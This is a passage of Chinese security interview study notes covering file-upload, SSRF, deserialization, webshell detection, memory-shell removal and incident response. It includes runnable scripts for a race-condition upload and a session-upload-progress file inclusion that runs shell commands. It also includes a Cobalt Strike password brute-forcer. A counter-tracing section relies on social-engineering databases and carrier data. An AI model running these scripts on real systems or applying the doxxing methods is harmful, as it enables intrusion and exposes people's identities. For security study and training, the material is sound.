if result.count('上传'):
print "Length is : %s " % str(i)
break
except:
print "."

https://cloud.tencent.com/developer/article/1944142

https://zhuanlan.zhihu.com/p/89132768)

为什么会存在文件上传漏洞?

定义

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获取到了执行服务器端命令的能力.这种攻击凡是是最为直接和有效的,文件上传本身没有什么问题,有问题的是文件上传后,服务器端如何去处理,解释文件,如果服务器的处理逻辑做的不够安全,则会导致严重的后果

危害

  1. 上传的文件是web脚本语言,服务器的web容器解释并执行了用户上传脚本,导致代码执行
  2. 上传文件是木马或者病毒.主要用于诱骗用户或者管理员下载执行或者直接自动运行
  3. 上传文件是flash的执行策略文件crossdomain.xml.黑客用以控制flash在该域下的行为(其他通过类似的凡是控制策略文件的情况类似)

上传漏洞满足条件

首先上传文件能够被web容器解释执行,所以文件上传后所在的目录要是web容器所覆盖到的路径,其次,用户能够从web访问这个文件,如果文件上传了,但是用户无法通过web 访问,或者无法得到web容器解释这个脚本,那么也不能称为漏洞,最后,文件上传的文件若被安全检查,格式化,图片压缩等功能改变了内容,则也可能攻击不成功

https://www.freebuf.com/vuls/279171.html

什么时候可以用条件竞争

上传后删除

原理简单,之间上代码

<?php
header("Content-Type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$ext = substr($filename,strrpos($filename,'.') + 1); #后缀

$path = 'uploads/' . $filename;
$tmp = $_FILES['file']['tmp_name'];
if(move_uploaded_file($tmp, $path)){
if(!preg_match('/php/i', $ext)){ #判断后缀是否为php
echo 'upload success,file in '.$path;
}else{
unlink($path); #已经上传后判断若是PHP则删除
die("can't upload php file!");
}
}else{
die('upload error');
}

image-20220607152228809

# coding:utf-8
import requests
from concurrent.futures import ThreadPoolExecutor


def td(list):
url = 'http://wan/'
files = {'file': (
'wan.php', "<?php fputs(fopen('shell.php','w'),'<?php phpinfo();?>');?>")}
r = requests.post(url=url +"server.php", files=files)
# print(r.text)
req = requests.get(url + "uploads/wan.php")
if req.status_code == 200:
print('上传成功')

if __name__ == '__main__':
with ThreadPoolExecutor(20) as p:
p.map(td, range(200))

image-20220607154403330

利用php _session_upload_progress进行文件包含

可以利用session.upload_progress进行文件包含,在php5.4之后添加了这个功能

image-20220607155439248

php的几个默认配置

#表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件是,php会把此次文件上传的详细信息(如上传时间 上传进度等)存储在session当中

1. session.upload_progress.enabled = on
#表示当文件上传结束后,php将会立即清除对应session文件中的内容,这个选项非常重要

2. session.upload_progress.cleanup = on
#prefix+name将表示为session中的键名

3. session.upload_progress.prefix = "upload_progress_"
#name当它出现在表单中,php将会报告上传进度,最大的好处是他的值可控

4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
#表示为session中的键名

5. session.upload_progress.freq = "1%"

6. session.upload_progress.min_freq = "1"

7.session.use_strict_mode=off
#增配置的默认值为off,表示我们对cookie中的sessionid可控

我们来看一下这两个.

4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
7.session.use_strict_mode=off
// PHPSESSION = Sn0w
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>

image-20220607160354031

php中的session中的内容并不是存储在内存中,而是以文件的方式进行存储,存储方式是有配置项session.save_handler来进行确定的,默认便是以文件进行存储,存储文件的名字便是有sess_sessionid来进行命名的,文件的内容便是session值序列化之后的内容,至于存储路径便是由配置项session.save_path来进行决定的.

一般session存储的路径都不会去更改,默认便是.

linux:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

Windows:
C:\WINDOWS\Temp

默认的存储路径知道了,但是还有一个问题,就是代码中没有session_start()函数,怎么创建出session文件呢?其实如果配置项session.auto_start=On 是打开的,那么php在接收请求的时候就会自动化session,不在需要执行该函数,但是默认都是关闭的,在session中还有一个默认选项,便是上面的session.use_strict_mode=0默认值off,用户可以自己定义sessionid.

Cookie中设置:
PHPSESSID=123
PHP便会在服务器上创建一个文件(默认路径)
/tmp/sess_123

即使此时用户没有初始化session,php也会自动初始化session,并产生一个键值,这个键值由ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

import requests
import io
import threading

url = 'http://40902305-6448-4874-b65d-79adb550fd6d.chall.ctf.show/'
sessID = 'Sn0w'

def write(session):
#判断event的标志是否为True
while event.isSet():
#上传文件要大一点,更有利于条件竞争
f = io.BytesIO(b'Sn0w' * 1024 * 50)
reponse = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("cat *.php");?>'},
files={'file':('text.txt',f)}
)
def read(session):
while event.isSet():
reponse = session.get(url+ '?file=/tmp/sess_{}'.format(sessID))
if 'text' in reponse.text:
print(reponse.text)
#将event的标志设置为False,调用wait方法的所有线程将被阻塞;
event.clear()
else:
print('[*]continued')

if __name__ == '__main__':
#通过threading.Event()可以创建一个事件管理标志,该标志(event)默认为False
event = threading.Event()
#将event的标志设置为True,调用wait方法的所有线程将被唤醒;
event.set()
#会话机制(Session)在PHP 中用于保持用户连续访问Web应用时的相关数据
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read, args=(session,)).start()

Ctfshow/文件包含—web78-88 · 语雀 (yuque.com)

https://blog.csdn.net/qq_46150940/article/details/115639419

写过目录扫描工具吗

https://www.freebuf.com/sectool/200890.html

不通过状态码判断的方式如何确定是具体文件

404页面识别思路

  1. web容器设置404错误页面,服务端返回404状态码.这种情况之下我们可以根据返回的状态码来判断是不是404页面
  2. 将404错误页面指向一个新的页面,页面上显示404信息,但是此时状态码不是404,一般返回状态码有301 302,或者直接返回状态码为200的错误页面.这种情况下我们可以从状态码是否是404来进行判断,或者获取域名的404页面,然后判断请求的页面和404页面是否相似,相似则可以判断404页面

404页面过滤

那么第一个问题就是页面的相似度.如何判断这两个页面的相似度呢?可以使用hashes.simhash,对两个页面的body计算hash值,在调用similarity获取两个页面的相似值,自定义一个阈值作为标准判断是否相似,radio可以根据具体请求调整

构造404页面的时候可以产生一个随机字符串去访问页面,这样一定会是错误页面,但是还要注意的是当你本身的第一个请求都是404的话,就没有后面的事情了.

https://xz.aliyun.com/t/4404

http only的作用 有http only怎么获取cookie

如果在cookie中设置了http only属性,那么将不能从js脚本中获取到cookie的信息,也就是说补鞥呢用document.cookie()来获取cookie

  1. 配置错误,htto only只是对特定的cookie做了保护
  2. 如果apache版本低,可以通过发送超长cookie,可以获取http only保护下的cookie

XSS除了盗取Cookie还能干嘛?

常规用到的就是盗取cookie js做钓鱼工具 流量指向等.主要作用是盗取管理员的凭证,就意味着得到后台的权限,可以直接利用.还能配合别的漏洞,比如可以和网站木马结合,扔到哪里去跳转

https://www.freebuf.com/articles/web/276998.html

XSS防御?CSP怎么绕?

https://xz.aliyun.com/t/5084

https://xz.aliyun.com/t/2179

xss和csrf区别

  1. xss是单一网站不需要登录就能获取cookie,csrf是有一个漏洞网站,和一个攻击网站需要先登录漏洞网站
  2. xss是向网站注入js代码,执行js代码.csrf利用网站本身漏洞去执行网站功能

SSRF有哪些利用点?

ssrf寻找

  1. 分享:通过url地址分享网页内容
  2. 转码服务: 通过url地址把原地址的网页内容调优使其适合收集屏幕浏览
  3. 在线翻译 : 他弄个url地址翻译对应文本的内容,比如百度翻译,有道等
  4. 图片加载与下载: 通过指定url地址加载或者下载图片
  5. 图片文章的收藏功能:从分享的url中读取原文的标题等
  6. 从未公开的api实现以及其他调用url的功能

https://xz.aliyun.com/t/11215

https://zhuanlan.zhihu.com/p/346220565

https://www.buaq.net/go-66428.html

SSRF的IP绕过?

https://blog.csdn.net/qq_39101049/article/details/102501839

PHP命令执行函数有了解吗?有哪些?

eval()

assert

preg_replace()

create_function()

array_map()

call_user_func()

call_user_func_array()

array_filter()

….

https://wiki.wgpsec.org/knowledge/code-audit/php-code-audit.html

php rce函数

https://www.anquanke.com/post/id/261910#h3-4

eval与system区别

https://blog.csdn.net/weixin_43376075/article/details/105189017

Log4J漏洞有深入了解吗?

https://baijiahao.baidu.com/s?id=1720302213380803056&wfr=spider&for=pc

参数污染或者模糊测试用过吗?

https://www.cxymm.net/article/MCTSOG/123241396

https://blog.51cto.com/u_15072903/4074634

渗透过app,小程序吗

https://www.hackinn.com/index.php/archives/672/

cc链中的4种transformer

https://xz.aliyun.com/t/9409

如何缩小反序列化的执行链

https://xz.aliyun.com/t/10997

存在rce的洞,可以利用runtime.exec做反弹shell吗

base64+bash -i

https://www.anquanke.com/post/id/202672

java执行无回显,如何处理,如何得到回显

dnslog、当前环境中找响应对象、抛出异常、web目录里写入html

https://xz.aliyun.com/t/7740

shiro中如何检测key的正确性

http://www.lmxspace.com/2020/08/24/%E4%B8%80%E7%A7%8D%E5%8F%A6%E7%B1%BB%E7%9A%84shiro%E6%A3%80%E6%B5%8B%E6%96%B9%E5%BC%8F/

https://www.freebuf.com/articles/web/323529.html

shiro注内存马(维持权限)

https://www.anquanke.com/post/id/240033

http://www.ctfiot.com/13929.html

java的shiro框架,进阶利用,是否内存马注入

http://moonflower.fun/index.php/2022/02/21/277/

Spring相关漏洞

https://cloud.tencent.com/developer/article/1925830

内存马查杀

内存马的分类

  1. servlet-api类
    • filter型
    • servlet型
  2. spring类
    • 拦截器
    • controller型
  3. java Instrumentation类
    • agent型

查杀思路

利用java agent技术遍历所有已经加载到内存中的class,先判断是否是内存马,是则进入内存查杀

内存马的识别

filter名字很特别

内存马的filter名一般比较特别,有shell或者随机数等关键字.这个特征较弱,因为这取决于内存马的构造者的习惯,构造完全可以设置一个看起来很正常的名字

filter优先级是第一位

为了确保内存马在各种环境下都可以访问,往往需要把filter匹配优先级调至最高,这在shiro反序列化中是刚需.但是在其他场景之下就非必须,之能作为一个可疑点

对比web.xml中没有filter配置

由于内存马的filter是动态注册的,所以在web.xml中肯定没有配置,这个是个可以的特征.但servlet 3.0引入了@WebFiler标签方便开发这个动态注册filter.这种情况也存在没有在web.xml中显式声明,这个特征可以作为较强的特征.

特殊class loader加载

我们都知道filter也是class,也是必须有特定的class loader加载.正常的filter都是由中间件的webappclassloader加载的.反序列化漏洞喜欢利用Templatesimpl和bcel执行任意代码.所以这些class往往就是下面这两个

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader
com.sun.org.apache.bcel.internal.util.ClassLoader

这个特征是一个特别可疑的点.有的内存马还是比较狡猾的,他会注入class到当前线程中,然后实例化注入内存马.这个时候内存马就有可能不是上面的两个classloader

对应的classloader路径下面没有class文件

所谓内存马就是代码驻留在内存中,本地无对应的class文件,所以我们只要检测filter对应的classloader目录下是否存在class文件

dilter的dofilter方法中有恶意代码

我们可把内存中所有的filter的class dump出来,使用fernflower等反编译工具分析看看,是否存在而已代码,比如调用了以下恶意方法

java.lang.Runtime.getRuntime
defineClass
invoke

不难分析,内存马的命门在于5 和 6 也就是说filter型内存马首先是一个filter类,同时它在硬盘上面没有对应的class文件,若dump出的class文件还有而已代码,那么必定是内存马了.

内存马的查杀

清除内存马中的filter的恶意代码

模拟中间件注销filter

两种方法各有优势,第一种方法比较通用,直接适配所有中间件,但是恶意的filter依然还在,只是恶意代码被清除了.第二种方法比较优雅,恶意的filter会被清除掉.但每种中间件注销filter的逻辑不尽相同,需要一一适配

https://gv7.me/articles/2020/kill-java-web-filter-memshell/

Tomcat 内存马学习(一):Filter型 (qq.com)

阿里开源的Java诊断工具——Arthas

IDEA Plugin — Arthas 3.62 文档 (aliyun.com)

fastjson遇到吗

简单来说就是fastJSON在解析json数据的时候会自动触发一些方法.比如set get tostring ,当我们构造一些恶意的方法名字如果满足这个条件时,也会像set和get一样执行.

https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html

内网渗透流程

https://www.anquanke.com/post/id/170471

提权

https://xz.aliyun.com/t/9902

linux最新提权漏洞

https://netsecurity.51cto.com/article/703608.html

Linux提权的方法?CVE-2021-4034 pkexec有了解吗?

https://www.freebuf.com/articles/web/280398.html

https://www.iceswordlab.com/2022/02/10/CVE-2021-4034/

权限维持

https://blog.csdn.net/qq_48985780/article/details/122297100

image-20220613115519668

蓝队反杀红队的经历有吗

针对ip溯源一二

一般来说,红队大部分都是使用代理节点进行测试,假如我们捕获或者从样本里面分析拿到了真实的ip,那么以下的操作场景就有用了,或者使用钓鱼反调的方式去获取到真实的ip

来自创宇盾等节点的流量ip

ip,假设前面还有一层云waf cdn厂商等.那么需要协调到提供服务的厂商,快速获取到云waf或者cdn之前的节点真实ip.然后拿到了真实的ip,就变成了一些常规的溯源操作

whois 域名反查

ip,初步可以进行whois查询,以及域名反查,查看历史的解析,以及历史的ip用有记录,运气好的话,假如攻击队队员使用的是自己的博客之类的vps常用节点,那么很有可能通过这个手法进行溯源到相关人员

探测端口 服务 进行反渗透

ip,对该ip进行端口探测,服务探测,进行反渗透,一般来说红队的vps都是在一些国内的一些vps主机供应商或者云服务供应商那边购买,假如是国内的话,可以通过公安网警来进行协助查水表,获取真实人员的身份.假如我们反渗透成功,那么可以提取历史登入记录,历史ip,网络连接,进程 以及攻击工具 进程 内存镜像等方式进行取证分析.

威胁情报

ip,对使用威胁情报进行综合分析,查看该ip他人对该ip打的标签,历史解析记录,历史变更记录,以及该ip上面关联的相关样本,这些都能够获取到进行进一步分析.

邮箱 qq 手机号 社工库

通过ip的whois获取到了相关人员的qq或者邮箱或者手机号,那么可以使用社工库,进行社工查询.比如twitter的社工库机器人或者自行研究的社工库进行综合关联分析

qq 微信 抖音 陌陌 等接口

获取到了手机号,那么可以通过qq 微信 抖音 陌陌 等接口进行关联,一般获取到了手机号初步可以通过这种简单易行的手法去溯源到红队人员

ga数据 运营商数据

有办法能通过ga资源,或者直接通过运营商拿数据,那就更好了

常见红队被反杀的姿势

  1. 使用个人工作pc,且浏览器里面保存了百度 163 sina等登录凭据,攻击对抗过程中踩到蓝队的蜜罐,被jsonp劫持漏洞捕获安全社交id,从而被溯源到了真实的姓名和所在公司
  2. 可能是蓝队封禁ip太厉害的原因,红队个人或者团队,使用自己的网站进行vps进行扫描,vps上含有团伙组织https证书,或者vps ip绑定的域名跟安全社交id对应,从而被溯源到真实姓名和所在的公司
  3. 部分攻击队写的扫描器payload里面含有攻击者的信息,如使用了私有的dnslog 攻击载荷里面含有安全社交id 含有个人博客资源请求等
  4. 投递的钓鱼邮件里面的木马样本被蓝队采集,逆向 反控c2c 溯源到个人信息
  5. 虚拟机逃逸打到实体机,暴露个人全部真实信息的

反制红队基础设施的操作

cobalt strike反制

在防守里面,必不可少的是钓鱼邮件,或者社工钓鱼,一般来说钓鱼的样本无非这几种,exe elf可执行文件,以及加了料的doc类宏木马,一般而言,目前红队主要是通过cobalt strike生成相关上线的shell 那么针对cobalt strike如何进行反制呢

  1. 批量上线钓鱼马,启几百个进程mddos红方的cs端.假如我们获取到了红方的cs样本,那么第一种方法可以批量启几百个进程运行该样本(注意隔离环境),然后红方的cs端几乎瘫痪,无法使用
  2. 爆破cs密码 一般而言,红队的cs设施为了多人运动,密码通常不会太复杂,很大机会是弱口令为主,甚至teamserver端口50050,那么针对cs端控制端,可以直接进行密码爆破,

附cs 爆破密码脚本

#!/usr/bin/env python3

import time,socket,ssl,argparse,concurrent.futures,sys

MIN_PYTHON = (3, 3)
if sys.version_info < MIN_PYTHON:
sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON)

parser = argparse.ArgumentParser()

parser.add_argument("host",
help="Teamserver address")
parser.add_argument("wordlist", nargs="?",
help="Newline-delimited word list file")

args = parser.parse_args()

class NotConnectedException(Exception):
def __init__(self, message=None, node=None):
self.message = message
self.node = node

class DisconnectedException(Exception):
def __init__(self, message=None, node=None):
self.message = message
self.node = node

class Connector:
def __init__(self):
self.sock = None
self.ssl_sock = None
self.ctx = ssl.SSLContext()
self.ctx.verify_mode = ssl.CERT_NONE
pass

def is_connected(self):
return self.sock and self.ssl_sock

def open(self, hostname, port):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(10)
self.ssl_sock = self.ctx.wrap_socket(self.sock)

if hostname == socket.gethostname():
ipaddress = socket.gethostbyname_ex(hostname)[2][0]
self.ssl_sock.connect((ipaddress, port))
else:
self.ssl_sock.connect((hostname, port))

def close(self):
if self.sock:
self.sock.close()
self.sock = None
self.ssl_sock = None

def send(self, buffer):
if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
self.ssl_sock.sendall(buffer)

def receive(self):
if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
received_size = 0
data_buffer = b""

while received_size < 4:
data_in = self.ssl_sock.recv()
data_buffer = data_buffer + data_in
received_size += len(data_in)

return data_buffer

def passwordcheck(password):
if len(password) > 0:
result = None
conn = Connector()
conn.open(args.host, 50050)
payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A"))
conn.send(payload)
if conn.is_connected(): result = conn.receive()
if conn.is_connected(): conn.close()
if result == bytearray(b"\x00\x00\xca\xfe"): return password
else: return False
else: print("Do not have a blank password!!!")

passwords = []

if args.wordlist: passwords = open(args.wordlist).read().split("\n")
else:
for line in sys.stdin: passwords.append(line.rstrip())

if len(passwords) > 0:
attempts = 0
failures = 0

with concurrent.futures.ThreadPoolExecutor(max_workers=30) as executor:

future_to_check = {executor.submit(passwordcheck, password): password for password in passwords}
for future in concurrent.futures.as_completed(future_to_check):
password = future_to_check[future]
try:
data = future.result()
attempts = attempts + 1
if data:
print ("Successful Attack!!!")
print("Target Password: {}".format(password))
except Exception as exc:
failures = failures + 1
print('%r generated an exception: %s' % (password, exc))

else:
print("Password(s) required")

​ 3.假上线,我们只需要发送心跳包,即可模拟上线,并且攻击者无法执行命令.使用时更改换IP或域名、port、cookie

# coding: utf-8

import re
import time
import requests

def heartbeat():
url = "http://192.168.186.133:333/activity"
headers = {
'Cookie': 'IgyzGuIX0Jra5Ht45ZLYKyXWBnxfkNI3m6BOvExEPdWCuAv8fnY6HXKTygBOVdE34sDYusoDIjzHr/QR32mKsoVPb5NFMCHAtC7FLQUdSsZdufXjsd2dSqkGDcaZkcQYD1BssyjGZHTy42lT8oDpga3y1z5FMGRjobeksgaMX7M=',
'Host': '192.168.186.133:333',
'Accept': '*/*',
'Connection': 'Keep-Alive',
'Cache-Control': 'no-cache',
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)'
}
resp = requests.get(url=url,headers=headers)
text = resp.content.hex()
return text

x = True
while x:
text = heartbeat()
lengs = len(text)
# print(lengs, " ", text)

if '2f4320' in text and '000041' in text:
print(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))

commeds = re.findall(r'2f4320(.*?)000041', text)
for comm in commeds:
commed = bytes.fromhex(comm).decode('utf-8')
print(commed)
time.sleep(5)

针对dnslog的反制

通过流量设备审计到他人的dnslog平台的url payload,那么针对他的url payload可以进行反制.一般而言,常见的dnslog平台,蓝队防守的时候可以对厂家爱你的dnslog平台进行屏蔽.那么针对自行搭建的dnslog平台有以下思路

dnslog反制,可以批量ping捕获到的dnslog,然后而已扰乱他自行搭建的,恶意制造各种垃圾dnslog数据,让他无法获取到有效的信息,直接让红队人员被迫抛弃一个红队基础设施.具体可以写一个脚本比如站长之家之类的进行批量平,进行探测存活

httplog反制同理,可以使用爬虫节点,批量进行request请求捕获的http url即可,这样红队的dnslog平台几乎彻底报废.

红队基础建设:隐藏你的C2 server - 先知社区 (aliyun.com)

https://xz.aliyun.com/t/8385

https://www.secrss.com/articles/27611

约束与非约束委派攻击的利用和原理

https://www.likecs.com/show-305577004.html

AS_REQ & AS_REP - windows protocol (gitbook.io)

黄金票据/白银票据知道吗?区别是什么?

https://www.jianshu.com/p/4936da524040

https://blog.csdn.net/Ping_Pig/article/details/121228886

https://www.cnblogs.com/1-Ry/p/15418602.html

判断是不是webshell

静态检测

静态检测通过匹配特征码,特征值,危险函数函数来查找 webshell 的方法,只能查找已知的 webshell

动态检测

webshell 传到服务器了,在执行函数时这些对于系统调用、系统配置、数据库、文件的操作动作都是可以作为判断依据

日志检测

使用 webshell 一般不会在系统日志中留下记录,但是会在网站的 web 日志中留下 webshell 页面的访问数据和数据提交记录

语法检测

语法语义分析形式,是根据 php 语言扫描编译的实现方式,进行剥离代码、注释,分析变量、函数、字符串、语言结构的分析方式,来实现关键危险函数的捕捉方式这样可以完美解决漏报的情况但误报上

linux日志

image-20220613145246204

linux命令

网络连接:netstat -antlp 查看CPU占用率:top
查看操作命令中的相关信息:history | grep xmrig
查看登陆信息:last 失败的登陆信息:lastb

查看是否存在其它特权用户:
awk -F: ‘$3==0{print $1}’ /etc/passwd
黑客爆破shh服务的次数
grep -o “Failed password” /var/log/secure | uniq -c
第一次爆破时间or最后一次爆破时间
grep “Failed password” /var/log/secure|head -1
grep “Failed password” /var/log/secure|tail -1
爆破的IP
grep “Failed password” /var/log/secure|grep -E -o “(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)”|uniq -c | sort -nr
爆破的用户名
grep “Failed password” /var/log/secure|perl -e ‘while($_=<>){ /for(.*?) from/; print “$1\n”;}’|uniq -c|sort -nr
管理员最近登录情况
grep “Accepted “ /var/log/secure | awk ‘{print $1,$2,$3,$9,$11}’
登录成功的IP
grep “Accepted “ /var/log/secure | awk ‘{print $11}’ | sort | uniq -c | sort -nr | more
网络连接
netstat -antlp | more
异常外联对应程序位置
ls -l /proc/9637
定时任务
cat /var/spool/cron/
自启服务及对应文件
chkconfig –list
find / -name centos_core.sh
自启服务文件时间
stat /etc/rc.d/init.d/centos_core.sh
定时任务日志
cat /var/log/cron
添加用户日志
grep “useradd” /var/log/secure
异常文件时间信息
stat /root/centos_core.elf
stat /shell.elf
计算文件哈希值
md5sum /shell.elf
md5sum /root/centos_core.elf

手工检测Webshell的思路?

https://blog.riskivy.com/%E5%9F%BA%E4%BA%8E%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0%E7%9A%84webshell%E6%A3%80%E6%B5%8B%E6%96%B9%E6%B3%95%E4%B8%8E%E5%AE%9E%E7%8E%B0%EF%BC%88%E4%B8%8A%EF%BC%89/

webshell流量信息

菜刀

菜刀 webshell 只使用了 url 编码 + base64 编码

shell 特征就是传输参数名为 z0,还存在int_set("display_erros"**,**"0")字符串特征

蚁剑

默认的蚁剑 shell,连接时会请求两次,其请求体只是经过 url 编码,其流量中也存在和蚁剑一样的代码

第一次请求,关闭报错和 magic_quotes,接下来去获取主机的信息

第二次请求,会把主机目录列出来

蚁剑单向加密,支持客户端传入信息

冰蝎3.0

使用 aes 加密发起两次请求

冰蝎是双向加密的

哥斯拉

支持 n 种加密

采用了和冰蝎 3.0 一样的密钥交换方式,哥斯拉建立连接时会发起三次请求,第一次请求数据超级长,建立 session,第二三次请求确认连接

Weevely

信息payload放于accetp头中,采用gzip压缩传输,使用异或加密.进行base64加密

CS跟MSF打过内网吗?

https://www.freebuf.com/vuls/244095.html

https://cloud.tencent.com/developer/article/1802226

进程注入

由于防火墙对于系统中正常的网络相关进程(例如Services.exe、Svchost.exe等)默认都是放行的,因此,木马一般都是注入到这些系统进程当中,并以此来穿透防火墙。

正向连接跟反向连接的区别?

https://xz.aliyun.com/t/2549

有没有抓过密码?2012前后版本有啥区别?

https://www.anquanke.com/post/id/175364nnnn

拿到日志如何分析?

特征字符分析

在日志中寻找已知的漏洞特征

访问频率分析

在攻击过程中,需要对系统进行各种特定的访问,这些访问与正常使用的用户访问区别较大,每一种工具行为都有不同的特征

漏洞扫描检查

可以匹配user-agent特征的方式进行检测

暴力破解检测

webshell检测

https://zhuanlan.zhihu.com/p/456903115

java执行代码的rce有过了解吗?类似php的eval

https://www.freebuf.com/articles/web/262005.html

询问java内存马的了解程度

https://www.freebuf.com/articles/web/274466.html

windows入侵排查思路

  1. 查看系统账号安全
  2. 查看注册表中是否有隐藏账号
  3. 检查异常端口 进程
  4. 检查启动项 计划任务 服务
  5. 检查系统相关信息
  6. 日志分析 (C:\Windows\System32\winevt\Logs) 事件查看器
  7. 搜索一下有没有可疑bat exe文件

linux入侵排查思路

  1. 账号安全查看/etc/passwd /etc/shadow
  2. 历史命令 .bash_history
  3. 异常端口 netstat -a -t -u
  4. 检查异常进程 ps
  5. 检查开机启动项 /etc/rc.local
  6. 检查定时任务 crontab -l
  7. 检查服务 chkconfig -list
  8. 检查异常文件 找.php后缀文件
  9. 检查系统日志

linux加固思路

  1. 删除无用账号
  2. 检查特殊账号
  3. 添加口令策略
  4. 限制su
  5. 进制root直接登录
  6. 设置隐藏文件属性(先最小,后加)
  7. 关闭不必要服务
  8. 更改ssh端口号 防爆破
  9. 记录日志

windows加固

  1. 在win ser2016中如何管理重命名administrator,禁用GUEST
  2. 系统不显示上次登录的账户名。
  3. 清理系统无效账户.
  4. 按用户类型分配账号
  5. 配置密码策略
  6. 账户锁定策略
  7. 远端系统强制关机设置
  8. 本地关机设置
  9. 用户权限指派
  10. 授权账户本地登录
  11. 授权账户从网络访问

OSI七层模型?

https://zhuanlan.zhihu.com/p/32059190

三次握手/四次握手?

https://blog.csdn.net/smileiam/article/details/78226816

免杀有了解吗?逆向呢?钓鱼呢?

介绍

免杀大概分为两种情况

  1. 二进制免杀(无源码),只能通过修改asm代码 二进制数据 其他数据来完成免杀
  2. 有源码的免杀,可以通过修改源代码来完成免杀,也可以结合二进制免杀的技术

免杀也可以分为这两种情况

  1. 静态文件免杀,被杀毒软件病毒 云查杀了,也就是文件特征码在病毒库了.免杀方式可能是上面的两种方式,看情况
  2. 动态行为免杀,运行中执行的某些行为被杀毒软件拦截报读.行为免杀如果没有源码就不是很好搞了

静态免杀

静态免杀针对的是杀毒软件的静态文件扫描,云查杀(病毒库).杀毒是提取文件一段特征码来识别病毒文件.

能识别一个程序的是一个病毒的一段不大于64字节的特征串

如果我们知道了一个文件是病毒,那么通过md5可定可以判断就是这个病毒文件.那么如果该病毒文件做了小小的变动呢,直接md5肯定不行了,那么杀毒软件是怎么做的呢?那么这里有一个叫做模糊哈希算法的东西

模糊哈希算法又叫基于内容分割的分片分片哈希算法,主要用于文件的相似性进行比较

大致就可以理解为,不要把一个文件的所有内容都拿来计算hash,而通过分片,取出部分重要(不易改变)的内容进行hash计算,这样就能达到通过特征码找到类似的病毒变种

具体杀毒软件是不是通过这个算法来计算特征码的,也不是很清楚

  1. 特征码会有多个串组合(减少误报)

https://xz.aliyun.com/t/10369

https://cn-sec.com/archives/834733.html

https://cloud.tencent.com/developer/article/1593705

怎么做免杀?

https://xz.aliyun.com/t/10369

https://www.freebuf.com/articles/web/322370.html

https://zhuanlan.zhihu.com/p/160763126

jsp免杀

https://xz.aliyun.com/t/10507

使用 Dockerfile 定制镜像

https://yeasy.gitbook.io/docker_practice/image/build

tcp与udp的区别

tcp

  1. tcp是需要连接的
  2. 可靠传输
  3. 只能一对一通讯
  4. 安全性比udp低

udp

  1. 无连接
  2. 不可靠传输
  3. 一对多

image-20230110192207318